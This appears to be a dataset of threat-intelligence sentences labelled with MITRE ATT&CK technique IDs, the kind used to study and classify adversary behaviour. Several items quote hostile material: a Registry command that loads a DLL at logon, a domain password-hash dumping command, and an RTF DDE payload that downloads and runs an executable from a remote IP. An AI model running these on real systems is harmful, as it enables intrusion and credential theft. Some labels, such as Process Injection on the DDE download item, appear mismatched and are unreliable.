POWRUNER will send the captured screenshot image file to the C2 server if the “fileupload” command is issued
Technique: T1113: Screen Capture
Zeus Panda decrypts strings in the code during the execution process.
Technique: T1140: Deobfuscate/Decode Files or Information
Kazuar obtains a list of running processes through WMI querying and the ps command.
Technique: T1057: Process Discovery
APT29 wrote the encrypted and base64-encoded PowerShell backdoor code into that property
Technique: T1027: Obfuscated Files or Information
For example, it is possible to load a DLL at logon using a "Depend" key with RunOnceEx: reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil.dll" 
The following Registry keys can be used to set startup folder items for persistence:
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
* HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
* HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
The following Registry keys can control automatic startup of services during boot:
* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
Using policy settings to specify startup programs creates corresponding values in either of two Registry keys:
* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
The Winlogon key controls actions that occur when a user logs on to a computer running Windows 7.
Technique: T1547: Boot or Logon Autostart Execution
The backdoor has the capability to download and upload files, execute shell commands, and update its configuration.
Technique: T1105: Ingress Tool Transfer
PowerShell supports several profiles depending on the user or host program.
Technique: T1546: Event Triggered Execution
Grandoreiro can collect the username from the victim's machine.
Technique: T1033: System Owner/User Discovery
APT29 has used multiple software exploits for common client software, like Microsoft Word, Exchange, and Adobe Reader, to gain code execution.
Technique: T1203: Exploitation for Client Execution
Dridex has used POST requests and HTTPS for C2 communications.
Technique: T1071: Application Layer Protocol
There are also open source frameworks such as Evilginx 2 and Muraena that can gather session cookies through a malicious proxy  that can be set up by an adversary and used in phishing campaigns.
Technique: T1539: Steal Web Session Cookie
Industroyer’s main backdoor connected to a remote C2 server using HTTPS.
Technique: T1071: Application Layer Protocol
Epic encrypts commands from the C2 server using a hardcoded key.
Technique: T1573: Encrypted Channel
adbupd contains a copy of the OpenSSL library to encrypt C2 traffic.
Technique: T1573: Encrypted Channel
Goopy has the ability to use cmd.exe to execute commands passed from an Outlook C2 channel.
Technique: T1059: Command and Scripting Interpreter
Lazarus Group malware KiloAlfa contains keylogging functionality.
Technique: T1056: Input Capture
APT38 has enumerated network shares on a compromised host.
Technique: T1135: Network Share Discovery
Chimera specifically has used the NtdsAudit tool to dump the password hashes of domain users via cmsadcs.exe "NTDS.dit" -s "SYSTEM" -p RecordedTV_pdmp.txt --users-csv RecordedTV_users.csv and used ntdsutil to copy the Active Directory database.
Technique: T1003: OS Credential Dumping
Turla has used tracert to check internet connectivity.
Technique: T1016: System Network Configuration Discovery
The script saves the decoded and decompressed executable to %APPDATA%\Microsoft\Windows\Templates\WindowsTemplate.exe and creates an LNK shortcut at %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\OneDrive.lnk to persistently run WindowsTemplate.exe each time Windows starts up
Technique: T1547: Boot or Logon Autostart Execution
ADVSTORESHELL compresses output data generated by command execution with a custom implementation of the Lempel–Ziv–Welch  algorithm.
Technique: T1560: Archive Collected Data
For comparison, if we were to inspect Fysbis “RemoteShell” associated strings in one of the stripped variants, we would only see the following:  Figure 3: Sofacy Fysbis stripped binary string references to RemoteShell capability Compare this with what is available from the non-stripped variant:  Figure 4: Sofacy Fysbis non-stripped binary strings referenes to RemoteShell capability Little static analysis gifts like these can help to speed defender enumeration of capabilities and – more importantly – further contribute to correlation and detection across related samples
Technique: T1027: Obfuscated Files or Information
VERMIN can perform audio capture.
Technique: T1123: Audio Capture
Winnti for Windows sets its DLL file as a new service in the Registry to establish persistence.
Technique: T1543: Create or Modify System Process
ChChes can encrypt C2 traffic with AES or RC4.
Technique: T1573: Encrypted Channel
An adversary may Create Cloud Instance, mount one or more created snapshots to that instance, and then apply a policy that allows the adversary access to the created instance, such as a firewall policy that allows them inbound and outbound SSH access.
Technique: T1578: Modify Cloud Compute Infrastructure
Gamaredon Group has compiled the source code for a downloader directly on the infected system using the built-in Microsoft.CSharp.CSharpCodeProvider class.
Technique: T1027: Obfuscated Files or Information
AppleSeed has the ability to search for .txt, .ppt, .hwp, .pdf, and .doc files in specified directories.
Technique: T1083: File and Directory Discovery
.iqy files are simple text files containing a URL which are opened by default by Excel
Technique: T1083: File and Directory Discovery
ECCENTRICBANDWAGON can use cmd to execute commands on a victim’s machine.
Technique: T1059: Command and Scripting Interpreter
Figure 6 Example of delivery document The RTF document (8cf3bc2bf…) was very small in size at 264 bytes, which can be seen in its entirety here:       {\rtf1{\field{\*\fldinst DDEAUTO "C:\\\\WIndowS\\\\SYsTem32\\\\cMD.eXe " "/C	POWErsHELl.eXE  -ex     BypaSs  -NOP	-w      HIdDen  (NEw-oBjeCT SyStEm.NET.weBCLiENT).dowNloADFILe( 'hxxp://86.106.131[.]177/link/GRAPH.EXE'  ,       '%apPDAtA%\graph.exe'   )   ;       saps    '%Appdata%\graph.exe'"}}}     The contents above use the DDE functionality in Microsoft Word to run a PowerShell script to download the Koadic payload from a remote server, save it as an executable file on the system and then execute the payload
Technique: T1055: Process Injection
To support their operations, an adversary may need to take capabilities they developed  or obtained  and stage them on infrastructure under their control.
Technique: T1608: Stage Capabilities
APT28 has used tools to perform keylogging.
Technique: T1056: Input Capture
This means that any domain user can view the SYSVOL share and decrypt the password .
Technique: T1552: Unsecured Credentials
Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with.
Technique: T1553: Subvert Trust Controls
Adversaries may also abuse external sharing features to share sensitive documents with recipients outside of the organization.
Technique: T1213: Data from Information Repositories
Sandworm Team has scanned network infrastructure for vulnerabilities as part of its operational planning.
Technique: T1595: Active Scanning
InvisiMole can also search for specific files by supplied file mask.
Technique: T1083: File and Directory Discovery
FLASHFLOOD employs the same encoding scheme as SPACESHIP for data it stages.
Technique: T1560: Archive Collected Data
Pay2Key can identify the IP and MAC addresses of the compromised host.
Technique: T1016: System Network Configuration Discovery
For instance, some Flash exploits have been delivered as objects within Microsoft Office documents.
Technique: T1203: Exploitation for Client Execution
ISAPI extensions and filters may have access to all IIS web requests and responses.
Technique: T1505: Server Software Component
Hildegard has established tmate sessions for C2 communications.
Technique: T1219: Remote Access Software
QakBot can identify whether it has been run previously on a host by checking for a specified folder.
Technique: T1083: File and Directory Discovery
Custom tools such as REDTRIP, PINKTRIP, and BLUETRIP have also been used to create SOCKS5 proxies between infected hosts
Technique: T1090: Proxy
The loadconfig and state commands are executed during initialization, effectively creating the configuration file if it does not exist and writing the state command to it
Technique: T1059: Command and Scripting Interpreter